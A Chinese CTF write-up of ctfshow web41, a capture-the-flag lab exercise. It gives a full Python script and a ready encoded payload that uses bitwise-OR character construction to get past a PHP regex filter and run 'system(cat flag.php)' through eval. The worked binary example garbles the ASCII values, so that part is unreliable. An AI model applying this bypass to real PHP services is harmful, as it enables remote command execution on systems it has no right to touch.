【CTFWP】ctfshow——web41


题目介绍:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: 羽
# @Date:   2020-09-05 20:31:22
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:40:07
# @email: 1341963450@qq.com
# @link: https://ctf.show

*/

if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>

题目分析:

题目首先接收一个POST请求中名为’c’的参数,然后进行过滤,若未被过滤则执行 eval(“echo($c);”);

对于'/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'

该正则表达式的含义是:它会匹配任意一个数字字符、小写字母、“^”、“+”、“~”、“$”、“[”、“]”、“{”、“}”、“&” 或 “-”,并且在匹配时忽略大小写。可以说过滤了大部分绕过方式,但是还剩下"|"没有过滤。所以这道题的目的就是要我们使用ascii码为0-255中没有被过滤的字符进行或运算,从而得到被绕过的字符。

思路如下:

  • 首先对ascii从0-255所有字符中筛选出未被过滤的字符,然后两两进行或运算,存储结果。
  • 跟据题目要求,构造payload的原型,并将原型替换为或运算的结果
  • 使用POST请求发送c,获取flag

payload脚本:

import re
import urllib
from urllib import parse
import requests

# 初始化一个列表来存储编码后的字符信息
contents = []

# 遍历所有可能的ASCII字符(从0x00到0xFF)
for i in range(256):
    for j in range(256):
        # 将整数i和j转换为两位的十六进制字符串(如:'00'到'ff')
        hex_i = '{:02x}'.format(i)
        hex_j = '{:02x}'.format(j)
        
        # 编译一个正则表达式,用于检测需要特殊处理的字符
        preg = re.compile(r'[0-9]|[a-z]|\^|\+|~|\$|\[|]|\{|}|&|-', re.I)
        
        # 如果当前字符是需要特殊处理的字符,则跳过本次循环
        if preg.search(chr(int(hex_i, 16))) or preg.search(chr(int(hex_j, 16))):
            continue
        
        # 否则,将字符转换为百分号编码格式(如:'%20'代表空格)
        a = '%' + hex_i
        b = '%' + hex_j
        
        # 计算两个十六进制值按位或运算的结果,并确保结果是一个可打印的字符
        c = chr(int(a[1:], 16) | int(b[1:], 16))
        
        # 只保留ASCII码在32到126之间的字符(即可打印字符)
        if 32 <= ord(c) <= 126:
            contents.append([c, a, b])  # 将字符、其百分号编码形式以及备用编码形式添加到列表中

# 定义一个函数,用于生成payload
def make_payload(cmd):
    payload1 = ''  # 初始化第一个payload字符串
    payload2 = ''  # 初始化第二个payload字符串
    
    # 遍历给定命令的每一个字符
    for char in cmd:
        # 在contents列表中查找与当前字符匹配的项
        for item in contents:
            if char == item[0]:  # 如果找到了匹配的项
                payload1 += item[1]  # 添加其百分号编码形式到payload1
                payload2 += item[2]  # 添加其备用编码形式到payload2
                break  # 找到匹配项后跳出循环
                
    # 返回一个字符串,其中包含了原始的和备用的十六进制编码,以括号包围
    return '("' + payload1 + '"|"' + payload2 + '")'

# 获取用户输入的URL
URL = input('url:')

# 创建payload,首先对'系统'命令进行编码,然后对'cat flag.php'命令进行编码
payload = make_payload('system') + make_payload('cat flag.php')

# 发送POST请求到指定的URL,数据中包含编码后的payload
response = requests.post(URL, data={'c': urllib.parse.unquote(payload)}, verify=False)

# 输出服务器的响应文本
print(response.text)

脚本解释:

直接输入题目的URL就完事!

以下是脚本的逐部分解释:

  1. 循环和正则表达式

    • 脚本首先创建一个空列表contents来存储编码后的字符。
    • 接下来,它遍历所有可能的十六进制值(从00ff),并检查每个对应的ASCII字符是否包含在预定义的正则表达式中。如果字符包含在内,脚本会跳过它;否则,它会继续处理。
    • 对于通过过滤的字符,脚本会将其转换为百分号编码格式(例如,%20代表空格),然后计算两个十六进制值按位或运算的结果,并确保结果是一个可打印的字符。
  2. 构造payload

    • make_payload函数接收一个字符串作为参数,遍历contents列表中的每一项,寻找与字符串中字符匹配的项。当找到匹配项时,它会将相应的十六进制编码添加到payload1payload2中。
    • 这两个payload最终被组合成一个字符串,其中包含原始的和备份的十六进制编码,用以尝试绕过可能的过滤机制。
  3. 发送请求

    • 用户输入目标URL。
    • 使用make_payload函数两次,一次为'system',一次为'cat flag.php',然后将这两个payload连接起来。
    • 最后,使用requests库向指定URL发送POST请求,数据中包含编码后的payload。
    • 请求的响应文本会被输出到控制台。

payload:

c=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%00%10%08%10"|"%60%60%60%20%60%60%60%60%2e%60%60%60")

payload解释:

  1. 穷举字符:首先,通过脚本来穷举ASCII码表中的所有字符,找出那些没有被正则表达式过滤掉的字符。

  2. 位运算组合:对于每一对未被过滤的字符,使用 | 运算符进行按位或运算。由于这些字符的ASCII码值是已知的,通过位运算可以生成新的ASCII码值。

  3. 生成新字符:新生成的ASCII码值可以转换为对应的字符。如果这个新字符的ASCII码值在可见字符范围内(通常是32到126),那么它就可以作为攻击载荷的一部分。

  4. 构造攻击载荷:通过选择适当的未过滤字符对和适当的位运算,可以构造出任何需要的字符,包括空格、括号等,这些字符在正则表达式中可能被过滤掉了。

移位运算:

位运算符 | 是一个按位或运算符,它对两个位模式进行逐位比较,如果任一位为1,则结果位也为1。在PHP中,位运算符可以用于整数,也可以用于字符,因为字符在内部也是以ASCII码的整数形式表示的。

位运算符 | 被用来组合两个未被正则表达式过滤的字符,以生成一个新的字符。

例如,假设我们有两个未被过滤的字符,其ASCII码分别是 i (97) 和 j (106)。它们的二进制表示分别是:

  • i: 01100101
  • j: 01101010

如果我们对这两个字符进行按位或运算:

  01100101 (i)
| 01101010 (j)
-----------
  01101111

结果 01101111 对应的ASCII码是 119,即字符 w。这样,即使正则表达式不允许直接使用 w,我们仍然可以通过位运算构造出它。

在攻击中,这种技术可以用来绕过输入过滤,构造出攻击者需要的任何字符,包括空格和特殊字符,从而形成有效的攻击载荷。

flag:

flag="ctfshow{6155d254-dd1f-43d4-a85d-0ecbf472eaf6}


实在精彩,大佬牛逼!!!!

相关推荐

  1. Day<span style='color:red;'>41</span>

    Day41

    2024-07-20 16:02:01      25 阅读
  2. Day41| 416 分割等和子集

    2024-07-20 16:02:01       49 阅读
  3. 安卓UI面试题 41-45

    2024-07-20 16:02:01       42 阅读
  4. IOS面试题编程机制 41-45

    2024-07-20 16:02:01       41 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-07-20 16:02:01       123 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-07-20 16:02:01       131 阅读
  3. 在Django里面运行非项目文件

    2024-07-20 16:02:01       109 阅读
  4. Python语言-面向对象

    2024-07-20 16:02:01       117 阅读

热门阅读

  1. Scala学习笔记19: 隐式转换和隐式参数

    2024-07-20 16:02:01       29 阅读
  2. Qmi8658a姿态传感器使用心得(2)linux

    2024-07-20 16:02:01       26 阅读
  3. springcloud与dubbo的rpc通信都是分别基于什么实现的

    2024-07-20 16:02:01       25 阅读
  4. AI论文写作软件哪些比较好用?

    2024-07-20 16:02:01       28 阅读
  5. vue-treeselect

    2024-07-20 16:02:01       30 阅读
  6. 反悔贪心

    2024-07-20 16:02:01       25 阅读
  7. 我们的耳穴项目迈进了一大步

    2024-07-20 16:02:01       29 阅读
  8. 【前后端联调】HttpMessageNotReadableException

    2024-07-20 16:02:01       25 阅读
  9. 恒等式结论

    2024-07-20 16:02:01       24 阅读
  10. Https post 请求时绕过证书验证方案

    2024-07-20 16:02:01       28 阅读
  11. 素数极差

    2024-07-20 16:02:01       23 阅读